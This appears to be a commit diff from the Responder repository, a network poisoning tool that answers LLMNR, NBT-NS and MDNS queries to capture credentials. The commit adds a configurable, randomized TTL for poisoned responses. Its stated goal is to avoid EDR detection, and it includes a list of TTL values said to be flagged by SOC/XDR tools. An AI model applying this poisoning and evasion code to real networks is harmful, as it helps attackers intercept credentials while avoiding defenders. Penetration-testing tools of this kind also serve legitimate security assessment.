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Merge pull request #275 from nodauf/master

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Random TTL value added to avoid some EDR detections
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lgandx 2024-05-06 07:33:27 -03:00 • committed by GitHub
commit bf25abfec8
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6 changed files with 18 additions and 4 deletions
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1
Responder.py
View file

@ -45,6 +45,7 @@ parser.add_option('-Q','--quiet', action="store_true", help="Tell Resp
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
parser.add_option('-t','--ttl', action="store", help="Configure the TTL in the victim cache. Value in hex (30 seconds = 1e)", dest="TTL", metavar="1e", default=None)
options, args = parser.parse_args()
if not os.geteuid() == 0:

4
poisoners/LLMNR.py
View file

@ -76,7 +76,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
})
elif LLMNRType == True: # Poisoning Mode
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
@ -90,7 +90,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
})
elif LLMNRType == 'IPv6' and Have_IPv6:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:

2
poisoners/MDNS.py
View file

@ -73,7 +73,7 @@ class MDNS(BaseRequestHandler):
})
elif MDNSType == True: # Poisoning Mode
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL)
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
if not settings.Config.Quiet_Mode:

2
poisoners/NBTNS.py
View file

@ -44,7 +44,7 @@ class NBTNS(BaseRequestHandler):
'AnalyzeMode': '1',
})
else: # Poisoning Mode
Buffer1 = NBT_Ans()
Buffer1 = NBT_Ans(TTL=settings.Config.TTL)
Buffer1.calculate(data)
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:

12
settings.py
View file

@ -173,6 +173,18 @@ class Settings:
self.ExternalIP6 = options.ExternalIP6
self.Quiet_Mode = options.Quiet
# TTL blacklist. Known to be detected by SOC / XDR
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
# Random TTL
if options.TTL is None:
TTL = bytes.fromhex("000000"+format(random.randint(10,90),'x'))
if TTL in TTL_blacklist:
TTL = int.from_bytes(TTL, "big")+1
TTL = int.to_bytes(TTL, 4)
self.TTL = TTL.decode('utf-8')
else:
self.TTL = bytes.fromhex("000000"+options.TTL).decode('utf-8')
#Do we have IPv6 for real?
self.IPv6 = utils.Probe_IPv6_socket()

1
utils.py
View file

@ -559,6 +559,7 @@ def StartupMessage():
print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
if len(settings.Config.DontRespondToName):
print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
print(' %-27s' % "TTL for poisoned response" + color(str(settings.Config.TTL.encode().hex()) + " ("+ str(int.from_bytes(str.encode(settings.Config.TTL),"big")) +" seconds)", 5, 1))
print('')
print(color("[+] ", 2, 1) + "Current Session Variables:")